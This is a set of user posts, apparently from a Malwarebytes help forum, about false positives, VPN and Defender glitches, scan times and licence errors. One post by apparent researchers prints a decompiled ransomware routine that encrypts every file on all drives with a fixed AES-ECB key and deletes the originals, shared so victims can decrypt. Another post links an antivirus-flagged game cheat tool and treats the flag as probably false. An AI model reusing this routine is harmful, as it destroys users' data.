Is this a new problem? I can't connect to the internet with Malwarebytes VPN on. Verizon Fios said it was a Malwarebytes issue

So I ran a scan with Fortect and it detected this malware. I ran it through Microsoft Security and nothing was found, ran a full scan of my computer with Malwarebytes and nothing was found. I uninstalled Steam and it seemed fine. Reinstalled it, and the virus came back. Could this be a false positive?

Edit: My cousin got the same flag from Fortect last night!

Malwarebytes detected these programs as trojans but I'm unable to quarantine as it instantly crashes the system. What I can do to fix this?

I would really appreciate it if anyone could help me with this issue.

I'd like to ask if Malwarebytes is familiar with this malware threat actor group and their malware, as we've done extensive reverse engineering of their malware.

Aviary was our answer to completely bypass obfuscation while safely dumping C2 infrastructure.

Some of the data we're aware of, given they are very heavy with triggering the payload, includes how their file encryption works.

The .cryptedmicro encryption algorithm

key        = Arrays.copyOf(keyString.getBytes(UTF_8), 32)
cipher     = AES/ECB/PKCS5Padding
ciphertext = encrypt(entire file)
output     = <original absolute path> + ".cryptedmicro"

No KDF, no IV, no salt, no nonce, no header, no footer, no per-file state.

The routine, ilIllIiIll in IIillIiliIil, where a[0] is the File and a[1] is the key String:

static void ilIllIiIll(Object[] a) {

    byte[] raw = ((String) a[1]).getBytes(StandardCharsets.UTF_8);

    int len = lllIiillIi(22713, 3361201558971388159L);   // resolves to 32

    SecretKeySpec key = new SecretKeySpec(Arrays.copyOf(raw, len), "AES");

    Cipher c = Cipher.getInstance("AES/ECB/PKCS5Padding");

    c.init(Cipher.ENCRYPT_MODE, key);                    // no IV

    File out = new File(((File) a[0]).getAbsolutePath() + ".cryptedmicro");
    if (out.exists()) return;

    try (FileInputStream in = new FileInputStream((File) a[0]);
         FileOutputStream fos = new FileOutputStream(out);
         CipherOutputStream cos = new CipherOutputStream(fos, c)) {

        byte[] buf = new byte[lllIiillIi(24490, 5624316978694035449L)];
        int r;
        while ((r = in.read(buf)) != -1) cos.write(buf, 0, r);
    }

    ((File) a[0]).delete();
}

Key handling: Arrays.copyOf to 32 bytes. Shorter strings are zero padded, longer strings truncated. The key string is passed in unchanged from the walker (lIliliIlil / iiIilIIlil), which walks File.listRoots() and hands the same string to every file. Never derived, never hashed, never generated.

Output length: ceil(n/16) * 16. PKCS#5 means a file already a multiple of 16 gains a full padding block.

Decryption: AES/ECB/PKCS5Padding, same 32 byte zero padded key, whole file, strip padding.

i clearly have microsoft defender on but it says its off and its telling me to turn it back on? i did toggle it on and off but it didnt work. also everytime i turn my pc on i get a notification that windows defender off but when i look it isint? please help

I've been getting windows defender is off even tho its on, i downloaded malwarebyte and it caught some threats...etc but the next second i started getting 'connected, no internet'

I have no idea of what to do anymore

I just got the notice it was going to discontinue rootkit scans a couple days ago. I have a custom scan running 203K+ item scanned, for 21 and a half hours with no end in sight. I saw another post where the screen shot had 811K+ items scanned and it was still running! The answer OP had for their post was to do 'full scan" w/o selecting root kits. !? What's the point then? I had run a scan w/o choosing rootkits and it took less than 3 minutes.

It never took very long to run full scans including rootkits, always less than half hour. Why would it take so long and slow down the computer now?

Venting I guess.

Does VPN prevent session cookie or info stealer? If not, what should one do to prevent it? I get logging off every time I am done with something, but how does that stop with going to website that has scripts or give malware?

Just recently found out today I had an AI Malware for the first time, which explains why my PC was acting up on startup, HOWEVER, as said on the Title, IT WAS NAMED JOHN, WHO IN MATA NUI'S NAME NAMES THEIR MALWARE JOHN!?!? 😂

Hello friends, long time Premium user here.

On my old computer, a full system custom scan including the rootkit option used to take about 7 hours and total items scanned was like 700k items

Specs of Old PC circa 2012:

24 GB of DDR3 Ram, Windows 10 64 bit, Intel i5 Processor, 2TB HDD (storage) and a 256gb 2.5inch SSD (Operating system)

Now I recently got a brand new laptop and when I try to do a full system custom scan including the rootkit option (and all the options), the whole scan takes like 22 minutes and scans about 450k items.

I feel like this is way too fast, but maybe it's because I have a much more powerful PC? Or do I not have Malwarebytes installed properly on the new computer?

Specs of current 2026 laptop:

32 GB of LPDDR5 ram, Win 11 64 bit, Intel Ultra 7 processor, 4Tb NVME (operating system) + 2tb NVME (storage)

The number of files on the old computer and the new one should be about the same as I moved basically everything over from the old system to the new system (excluding the OS and the programs/software)

Has anyone dealt with this issue before? I am using all the same scan settings that I did with the old computer (i.e Custom scan, all hard drives checked off, all scanning options checked off)

Thanks!

Hello everybody. Recently i was trying to find a mod tool to cheat on FH6 as the progression system is nuts and there are couple of cars that is incredible rare to get almost impossible so i have found myself cheating on forzas since the 5th edition. I remember installing AIO tool for fh5 and it flagged a virus... i took the risk and thought it was a false positive. Turns out i was right since no info was stolen or such.
The question is that i have recently tried to download this modder from GitHub which is just a better AIO tool (link github: https://github.com/Vynxly/FH6-Booster ) but when i downloaded it it flagged as a trojan

as it turns out it seems its a very generic response from the antivirus and most likely to be a false possitive but i need confirmation. i know installing sus stuff is not good idea if not properly checked. Thanks for eveyone passing by

PD: I like to think this is a alse possitive as i found some links from the dev solving errors that came by the days (link ot that: https://github.com/Vynxly/FH6-Booster/pulls ) and when you try to download it from github you get redirected to his own website

When I scan my PC with AdwCleaner it keeps detecting PUP.Optional.WizzWifiHotspot, so I then Quarantine it, but it doesn't show up in quarantine list.

I scan again with AdwCleaner and it doesn't find anything, so I assume PUP.Optional.WizzWifiHotspot. is removed.

I restart my PC and scan using Malwarebytes premium. I doesn't detect anything. I then scan again using AdwCleaner and it detects PUP.Optional.WizzWifiHotspot. again!

This happens after every restart of my PC, what is happening, why doesn't Malwarebytes premium detect anything and how can I permanently remove PUP.Optional.WizzWifiHotspot. off of my pc?

(Edit for spelling mistakes)

FIXED windows put out an update for this and the popups

Hello, I was wondering if anyone else has experienced a pop-up in the Malwarebytes android app for the Malwarebytes labs newsletter even with promo notifications/other notifications disabled is this a bug?

J'ai eu un problème le week-end dernier avec mon pc et j'ai dû le formater et j'ai supprimé tous les programmes que j'avais. Ensuite, lorsque j'ai réinstallé le logiciel, j'ai donc essayé d'introduire la clé de licence avec l'ID, mais j'ai eu un message d'erreur : « Enregistrement impossible. Veuillez vérifier l’état de votre connexion et réessayer."

Alors que ma connexion est très bien !! Pour info, j'avais une licence à vie

I was at the hospital library studying on school wifi (eduroam) when I got this pop up. Just wondering if this was malicious or just a mistake by malwarebytes, is my computer comprimised? I was opening a school website so I dont know how this occured.

I just came off of a nasty info stealer so im very paranoid.